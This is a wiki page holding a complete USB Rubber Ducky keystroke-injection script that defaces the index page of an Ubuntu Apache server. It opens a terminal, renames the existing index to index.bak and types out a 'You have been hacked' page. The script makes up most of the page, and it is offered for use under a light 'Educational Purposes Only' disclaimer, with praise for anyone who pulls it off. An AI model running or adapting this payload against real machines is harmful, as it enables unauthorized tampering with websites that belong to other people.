wiki-rubber-ducky-usb/Payload---non-malicious-aut...

31 lines
1.1 KiB
Plaintext

Non-Malicious Auto Defacer
Author: Xcellerator
Duckencoder: 1.2
Target: Ubuntu based systems running the Apache Web Server.
Description: Saves old index file as index.bak, then writes a new one detailing the extensiveness of the hack that has been performed against them. Mad props to anyone who actually pulls this off. Educational Purposes Only.
REM Auto Defacer for Ubuntu Based Machines running Apache.
REM Author: Xcellerator
REM Description: Automatically defaces index page of an apache web server.
DEFAULT_DELAY 200
ALT F2
STRING terminal
ENTER
STRING cd /var/www
ENTER
STRING mv index.* index.bak
ENTER
STRING touch index.html
ENTER
STRING nano index.html
ENTER
STRING <marquee><h1>You have been hacked by the USB Rubber Ducky!</h1></marquee>
ENTER
STRING <center><a href="http://www.usbrubberducky.com/"><img src="http://cdn.shopify.com/s/files/1/0068/2142/products/usbducky2.jpg" /></a><center>
ENTER
STRING <center><h5>You're old index page can be found <a href="./index.bak">here.</a></h5></center>
CONTROL x
STRING y
ENTER
STRING exit
ENTER